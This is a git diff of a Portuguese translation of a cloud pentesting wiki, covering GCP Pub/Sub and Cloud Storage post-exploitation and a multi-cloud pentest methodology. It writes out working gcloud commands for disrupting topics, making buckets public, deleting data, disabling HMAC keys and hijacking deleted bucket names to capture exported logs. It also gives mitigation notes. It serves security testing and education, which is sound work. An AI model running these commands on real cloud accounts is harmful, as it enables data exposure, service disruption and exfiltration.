permissions needed to perform any of the previously commented attacks. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -Ataque um schema a um tópico de modo que as mensagens não o satisfaçam e, portanto, o tópico seja interrompido.\ -Se não houver schemas, pode ser necessário criar um. +Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\ +If there aren't any schemas you might need to create one.
-Criar arquivo de schema e anexá-lo ao tópico +Create schema file and attach to topic ```json:schema.json { "namespace": "com.example", @@ -174,11 +207,11 @@ gcloud pubsub topics update projects//topics/ \ ### `pubsub.schemas.delete` -Pode parecer que, ao deletar um schema, você poderá enviar mensagens que não cumprem o schema. No entanto, como o schema será deletado, nenhuma mensagem realmente entrará no tópico. Portanto, isto é **INÚTIL**: +Isso pode parecer como excluir um schema para que você possa enviar mensagens que não cumpram o schema. No entanto, como o schema será excluído, nenhuma mensagem realmente entrará dentro do topic. Portanto, isso é **USELESS**:
-Deletar schema (inútil) +Delete schema (not useful) ```bash gcloud pubsub schemas delete ``` @@ -186,7 +219,7 @@ gcloud pubsub schemas delete ### `pubsub.schemas.setIamPolicy` -Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques comentados anteriormente. +Dê a si mesmo as permissões necessárias para executar qualquer um dos ataques comentados anteriormente. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` @@ -194,7 +227,7 @@ Isso criará um snapshot de todas as mensagens unACKed e as colocará de volta n
-Criar snapshot e fazer seek nele +Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index 3208233f3..37b42d44e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -4,15 +4,15 @@ ## Cloud Storage -For more information about CLoud Storage check this page: +Para mais informações sobre CLoud Storage, consulte esta página: {{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}} -### Conceder Acesso Público +### Give Public Access -É possível conceder a usuários externos (logados no GCP ou não) acesso ao conteúdo de buckets. No entanto, por padrão a opção para expor publicamente um bucket estará desativada: +É possível conceder a usuários externos (logados no GCP ou não) acesso ao conteúdo dos buckets. No entanto, por padrão, o bucket terá a opção de expor publicamente um bucket desabilitada: ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,25 +25,57 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -Se você tentar conceder **ACLs a um bucket com ACLs desativadas** você encontrará este erro: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +Se você tentar dar **ACLs a um bucket com ACLs desativadas**, você encontrará este erro: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` -Para acessar buckets abertos via navegador, acesse a URL `https://.storage.googleapis.com/` ou `https://.storage.googleapis.com/` +Para acessar buckets abertos via browser, acesse a URL `https://.storage.googleapis.com/` ou `https://.storage.googleapis.com/` ### `storage.objects.delete` (`storage.objects.get`) -Para excluir um objeto: +Para deletar um object: ```bash gcloud storage rm gs:/// --project= ``` ### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list` -Para excluir um bucket: +Para deletar um bucket: ```bash gcloud storage rm -r gs:// ``` -### Desativar chaves HMAC +### Tomada global de nome de bucket de upstream writers -A permissão `storage.hmacKeys.update` permite desativar chaves HMAC, e a permissão `storage.hmacKeys.delete` permite que uma identidade exclua chaves HMAC associadas a contas de serviço no Cloud Storage. +Os nomes de buckets do Cloud Storage são globalmente únicos. Antes de excluir um bucket, verifique se algum serviço automatizado continua gravando nesse bucket por nome. Se o bucket for excluído e o mesmo nome for recriado em um projeto controlado pelo atacante, upstream writers como Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions ou Storage Transfer Service jobs podem continuar gravando dados futuros no bucket substituto. +```bash +# Cloud Logging sinks using GCS +gcloud logging sinks list --project \ +--format='table(name,destination,writerIdentity)' + +# Pub/Sub subscriptions writing messages into GCS +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Storage Transfer Service jobs +gcloud transfer jobs list --project + +# Delete and reclaim the destination bucket name +gcloud storage rm -r gs:// +gcloud storage buckets create gs:// \ +--project \ +--location +``` +Conceda o acesso de identidade de writer relevante ao bucket de replacement se o serviço upstream exigir isso: +```bash +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Potential Impact:** exfiltração de longo prazo de logs, messages, transfer outputs, backups, or data pipeline artifacts sem modificar o recurso router original. + +**Detection & Mitigation:** trate a exclusão de bucket como high risk quando o bucket for referenciado por sinks/subscriptions/jobs, alerte sobre dangling destinations, restrinja `storage.buckets.delete`, e use retention policies ou legal holds para critical export buckets quando apropriado. + +### Deactivate HMAC Keys + +A permissão `storage.hmacKeys.update` permite desabilitar HMAC keys, e a permissão `storage.hmacKeys.delete` permite que uma identidade delete HMAC keys associadas a service accounts no Cloud Storage. ```bash # Deactivate gcloud storage hmac update --deactivate @@ -52,9 +84,9 @@ gcloud storage hmac update --deactivate gcloud storage hmac delete ``` ### `storage.buckets.setIpFilter` & `storage.buckets.update` -A permissão `storage.buckets.setIpFilter`, juntamente com a permissão `storage.buckets.update`, permite que uma identidade configure filtros de endereço IP em um bucket do Cloud Storage, especificando quais intervalos ou endereços IP estão autorizados a acessar os recursos do bucket. +A permissão `storage.buckets.setIpFilter`, juntamente com a permissão `storage.buckets.update`, permite que uma identidade configure filtros de endereço IP em um bucket do Cloud Storage, especificando quais intervalos ou endereços IP têm permissão para acessar os recursos do bucket. -Para limpar completamente o filtro de IP, o seguinte comando pode ser usado: +Para limpar completamente o filtro IP, o seguinte comando pode ser usado: ```bash gcloud storage buckets update gs:// --project= ``` diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index eaaab911d..7cb352163 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,39 +6,65 @@ ## Metodologia Básica -Cada cloud tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente cloud: +Cada cloud tem suas próprias peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente de cloud: -- **Verificações de benchmark** -- Isso vai te ajudar a **entender o tamanho** do ambiente e **os serviços utilizados** -- Também permitirá encontrar algumas **misconfigurações rápidas**, já que você pode realizar a maioria desses testes com **ferramentas automatizadas** +- **Benchmark checks** +- Isso ajudará você a **entender o tamanho** do ambiente e os **services usados** +- Também permitirá encontrar algumas **quick misconfigurations**, pois você pode realizar a maioria desses testes com **automated tools** - **Services Enumeration** -- Você provavelmente não encontrará muitas mais misconfigurações aqui se realizou corretamente os testes de benchmark, mas pode encontrar algumas que não foram buscadas no teste de benchmark. -- Isso permitirá saber **o que exatamente está sendo usado** no ambiente cloud -- Isso vai ajudar bastante nos próximos passos +- Provavelmente você não encontrará muitas mais misconfigurations aqui se tiver executado corretamente os benchmark tests, mas pode encontrar algumas que não foram procuradas no benchmark test. +- Isso permitirá que você saiba **o que exatamente está sendo usado** no cloud env +- Isso ajudará bastante nas próximas etapas - **Check exposed assets** -- Isso pode ser feito durante a seção anterior; você precisa **identificar tudo que potencialmente está exposto** à Internet de alguma forma e como isso pode ser acessado. -- Aqui estou considerando **infraestrutura manualmente exposta** como instâncias com páginas web ou outras portas expostas, e também outros **serviços gerenciados pela cloud que podem ser configurados** para ficarem expostos (como DBs ou buckets) -- Depois você deve verificar **se esse recurso pode ser explorado ou não** (informação confidencial? vulnerabilidades? misconfigurações no serviço exposto?) +- Isso pode ser feito durante a seção anterior; você precisa **descobrir tudo o que está potencialmente exposed** para a Internet de alguma forma e como isso pode ser acessado. +- Aqui estou considerando **manually exposed infrastructure** como instances com páginas web ou outras ports exposed, e também outros **cloud managed services que can be configured** to be exposed (como DBs ou buckets) +- Então você deve verificar **se esse resource pode ser exposed ou not** (informação confidencial? vulnerabilities? misconfigurations no serviço exposed?) - **Check permissions** -- Aqui você deve **identificar todas as permissões de cada role/user** dentro da cloud e como elas são utilizadas -- Muitas **contas altamente privilegiadas** (controlam tudo)? Chaves geradas não usadas?... A maioria dessas checagens já deveria ter sido feita nos testes de benchmark -- Se o cliente estiver usando OpenID ou SAML ou outra **federation** você pode precisar pedir mais **informação** sobre **como cada role está sendo atribuída** (não é a mesma coisa que a role admin seja atribuída a 1 usuário ou a 100) -- Não basta apenas descobrir quais usuários têm permissões "admin" "\*:\*". Existem muitas **outras permissões** que dependendo dos serviços usados podem ser muito **sensíveis**. -- Além disso, existem **potenciais privesc** a seguir abusando permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser reportado. +- Aqui você deve **descobrir todas as permissions de cada role/user** dentro da cloud e como elas são usadas +- Contas com **muitos privilégios elevados** (control everything)? keys geradas não usadas?... A maioria dessas checks já deveria ter sido feita nos benchmark tests +- Se o client estiver usando OpenID ou SAML ou outra **federation**, talvez você precise pedir mais **information** sobre **como cada role é atribuída** (não é o mesmo que a admin role seja atribuída a 1 user ou a 100) +- **Não basta encontrar** quais users têm permissions de **admin** "\*:\*". Há muitas **outras permissions** que, dependendo dos services usados, podem ser muito **sensitive**. +- Além disso, há **potential privesc** paths a seguir abusando permissions. Todas essas coisas devem ser levadas em conta e **o máximo possível de privesc paths** deve ser reportado. - **Check Integrations** -- É altamente provável que **integrações com outras clouds ou SaaS** estejam sendo usadas dentro do ambiente cloud. -- Para **integrações da cloud que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação que está sendo realizada.\ -Por exemplo, quem pode escrever em um bucket AWS de onde a GCP está obtendo dados (pergunte quão sensível é a ação na GCP ao tratar esses dados). -- Para **integrações dentro da cloud que você está auditando** vindas de plataformas externas, você deve perguntar **quem tem acesso externo para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\ -Por exemplo, se um serviço está usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma cloud AWS. +- É altamente provável que **integrations com outras clouds ou SaaS** estejam sendo usadas dentro do cloud env. +- Para **integrations da cloud que você está auditando** com outra platform, você deve notificar **quem tem acesso para (ab)usar essa integration** e deve perguntar **quão sensitive** é a action being performed.\ +Por exemplo, quem pode escrever em um AWS bucket de onde GCP está obtendo data (pergunte quão sensitive é a action no GCP tratando essa data). +- Para **integrations dentro da cloud que você está auditando** a partir de external platforms, você deve perguntar **quem tem access externamente para (ab)usar essa integration** e verificar como esses data estão sendo usados.\ +Por exemplo, se um service está usando uma Docker image hospedada em GCR, você deve perguntar quem tem access para modificá-la e quais sensitive info e access essa image obterá quando executada dentro de um AWS cloud. + +### Hunt autonomous data streams writing to globally-unique storage + +During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself. + +Focus this check in the relevant service pages: + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +{{#endref}} + +{{#ref}} +aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +{{#endref}} + +{{#ref}} +azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +{{#endref}} ## Multi-Cloud tools -Existem várias ferramentas que podem ser usadas para testar diferentes ambientes cloud. Os passos de instalação e links serão indicados nesta seção. +Existem várias ferramentas que podem ser usadas para testar diferentes cloud environments. Os passos de instalação e links serão indicados nesta seção. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Uma ferramenta para **identificar más configurações e caminhos de privesc em clouds e entre clouds/SaaS.** +Uma ferramenta para **identificar bad configurations e caminhos de privesc em clouds e across clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Suporta **AWS, GCP & Azure**. Veja como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Ele suporta **AWS, GCP & Azure**. Veja como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -168,9 +194,9 @@ steampipe check all ```
-Verificar todos os projetos +Verifique todos os Projects -Para verificar todos os projetos você precisa gerar o arquivo `gcp.spc` indicando todos os projetos a serem testados. Você pode seguir as indicações do script a seguir +Para verificar todos os projects, você precisa gerar o arquivo `gcp.spc` indicando todos os projects a testar. Você pode simplesmente seguir as indicações do seguinte script ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,7 +220,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Para verificar **outros insights do GCP** (úteis para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Para verificar **other GCP insights** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) Para verificar código Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) @@ -234,15 +260,15 @@ Mais plugins AWS do Steampipe: [https://github.com/orgs/turbot/repositories?q=aw ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Requer python2.7 e parece não estar mantido. +Requer python2.7 e parece não mantido. ### Nessus -Nessus possui um scan _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras no **Azure** são necessárias para obter um **Client Id**. +Nessus tem um scan _**Audit Cloud Infrastructure**_ com suporte a: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras no **Azure** são necessárias para obter um **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist é uma **ferramenta multi-cloud para obter Assets** (Hostnames, IP Addresses) de provedores de nuvem. +Cloudlist é uma ferramenta **multi-cloud para obter Assets** (Hostnames, Endereços IP) de Cloud Providers. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +291,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography é uma ferramenta Python que consolida os ativos de infraestrutura e as relações entre eles em uma visualização gráfica intuitiva alimentada por um banco de dados Neo4j. +Cartography é uma ferramenta em Python que consolida ativos de infraestrutura e as relações entre eles em uma visualização de grafo intuitiva, alimentada por um banco de dados Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase coleta ativos e relações de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização de grafo intuitiva suportada pelo banco de dados Neo4j. +Starbase coleta assets e relationships de serviços e systems, incluindo cloud infrastructure, aplicações SaaS, security controls e mais, em uma visualização de graph intuitiva apoiada pelo banco de dados Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +387,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Descobre os utilizadores mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Usa powershell. +Descubra os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +398,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Uma ferramenta para localizar a infraestrutura, arquivos e apps de uma empresa (target) nos principais provedores de cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Uma ferramenta para encontrar a infraestrutura, arquivos e apps de uma empresa (target) nos principais provedores de cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de cloud (atualmente apenas AWS & Azure suportados, com GCP em breve). -- É uma ferramenta de enumeration que tem como objetivo complementar pentesting manual. -- Não cria nem modifica quaisquer dados dentro do ambiente de cloud. +- CloudFox é uma ferramenta para encontrar attack paths exploráveis em cloud infrastructure (atualmente apenas AWS & Azure suportados, com GCP em breve). +- É uma ferramenta de enumeração destinada a complementar pentesting manual. +- Ela não cria nem modifica nenhum dado dentro do ambiente cloud. -### More lists of cloud security tools +### Mais listas de ferramentas de segurança cloud - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -410,12 +436,19 @@ aws-security/ azure-security/ {{#endref}} -## Recursos comuns de segurança em cloud +## Common Cloud Security Features -### Computação Confidencial +### Confidential Computing {{#ref}} confidential-computing/luks2-header-malleability-null-cipher-abuse.md {{#endref}} +## References + +- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/) +- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2) +- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html) +- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings) + {{#include ../banners/hacktricks-training.md}}